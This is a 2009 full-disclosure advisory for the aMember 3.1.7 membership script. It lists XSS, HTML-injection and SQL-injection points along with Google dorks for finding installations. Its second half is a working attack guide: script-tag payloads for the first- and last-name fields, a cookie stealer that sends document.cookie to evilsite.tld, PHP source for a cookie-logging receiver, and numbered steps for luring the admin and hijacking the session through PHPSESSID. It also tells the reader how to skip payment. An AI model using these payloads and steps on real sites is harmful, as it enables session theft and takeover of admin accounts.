amember 3.1.7 - Cross-Site Scripting / SQL Injection / HTML Injection












AMember - Multiple Vulnerabilities

Version Affected: 3.1.7 (Apr-10-2009) (newest)

Info: aMember is a flexible membership and subscription management PHP script. It has support for
PayPal, BeanStream, 2Checkout, NoChex, VeriSign PayFlow, Authorize.Net, PaySystems, Probilling,
Multicards, E-Gold and Clickbank payment systems (see list of integrated payment systems) and
allows you to setup paid-membership areas on your site. It can also be used without any payment
system - you can manage users manually.

aMember Pro also supports integration plugins to link users database with third-party scripts,
for example vBulletin, Joomla, WordPress (see list of integration plugins).
aMember is a perfect membership software for selling digital subscriptions and downloads.

Opinion: CGI Systems' website has an XSS issue too, they obviously don't realise the impact of XSS.

Credits: Matt, fiftysixer, mind_warlock, fourthdimension, NetRolller3D, ha.ckers, webDEViL and all of InterN0T :)

Accurate Googled0rk: (fewer results) intext:© CGI-Central.NET, 2002-2006

Inaccurate Googled0rk: (more results)© CGI-Central.NET, 2002-2006

External Links:

-:: The Advisory ::-

Version Information:

Information Disclosure:'' (admin only)
- More files are affected. (discloses full path to the file)

Cross Site Scripting (admin only - might not survive a login screen!)"><script>alert(0)</script>"><script>alert(0)</script>"><script>alert(0)</script><script>alert(0)</script><script>alert(0)</script>"><script>alert(0)</script>"><script>alert(0)</script><script>alert(0)</script><script>alert(0)</script><script>alert(0)</script>"><script>alert(0)</script>"><script>alert(0)</script><script>alert(0)</script><script>alert(0)</script> (this might only affect attacker)
- More files might be affected.

HTML Injection: (insert: "><script>alert(0)</script> into the mentioned forms) (first- and last-name) (first- and last-name) (first- and last-name)

HTML Injection Exception: (this injection might only be possible to be seen by the attacker) (other payment plugins might be vulnerable too)

Affeced Sites (by HTML Injection): (if the menu user-lookup returns positive) (this will always return the HTML Injection)
-- More files might be affected.

SQL Injection: (requires admin access)'SQL'a.time+DESC&order2='SQL'a.time+DESC'SQL'&action=aff_sales'SQL'
-- More files might be affected, the depth of SQL Injection was not checked!

-:: Solution ::-
All the files are encrypted according to CGI Systems' website.

Questions and answers (quote)

I've downloaded aMember, but the source code is corrupted. How can I download it again ?
The source code is not corrupted, but it is encrypted with Zend Encoder or IonCube Encoder technology

Which essentially mean i was unable to find any solution to the problem.
I believe this vulnerability might be exploited in the wild due to it is very
easy to find and take advantage of. (if you know what you're looking for)

Addition: The most easy solution would be to use a regular expression to fix this issue.

-:: Ways of abusing the HTML Injection and XSS ::-
The following are examples of what you can input as first- and/or last-name:
- Works only in FireFox and NetScape 8.1-G (Gecko)

Protocol resolution in script tags. This particular variant was submitted by Łukasz Pilorz and was based
partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE,
Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is
especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is
valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.

Firstname: "><script src="//
Lastname: "></script> </
- Works in FireFox but should work in all browsers.

Firstname: "><iframe src="
Lastname: "></iframe> </
- Works in all browsers.

Firstname: "><iframe src="//
Lastname: "></iframe> </
- Should work in all browsers as well. (tested in FireFox)

The following is an example of how a cookie stealer will work in conjunction with the exploit:
<script>document.location=%22http://evilsite.tld/cookiestealer.php?cookie=%22 %2B document.cookie;</script>
- The reason why "browser-hex" is used is because the above would else issue an error and thereby not work.
-- Reference about url encoding:


function GetIP()
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = "unknown";

function logData()
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = GetIP();

$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");

if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br>");
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");

header ("Location:");

When you have gotten a hash from the admin of the victim site you can issue:
Javascript:void(document.cookie="PHPSESSID=hash") (where hash is the PHPSESSID hash/cookie)

What's the first thing you could do as admin?

What's the best way to exploit the vulnerability?
1) Make a file named: .j (and upload to a domain which has a name equal to or shorter than 8 characters)

2) The file should contain the following:
HTML Code:

document.location='http://evilsite.tld/cookielogger.php?cookie=' + document.cookie;

3) Sign up and make you first name: (try aff_signup.php to avoid paying!)
"><script src="//evilsite.tld/.j

4) Make your last name:
"></script> </

5) Make your username:

6) After signing up, go to profile.php and make sure the first- and last-name are correct.

7) Wait or social engineer the administrator to click: "Browse Users" in his admin panel, that's all!

The vendor was (originally) not contacted due to they have encrypted all of
the files and because i believe in full disclosure and open source!

The vendor was contacted the 25th May due to the vulnerability might be
exploited more than usual in the wild after public disclosure the 14th May.


Disclosure Information:
- Vulnerabilities found early start of May 2009.
- Advisory finished and published 14th May on InterN0T.
- Bugtraq (SecurityFocus) and Milw0rm contacted the 24th May.
- OSVDB, CVE (Mitre) and CGI Systems contacted the 25th May.

# [2009-05-29]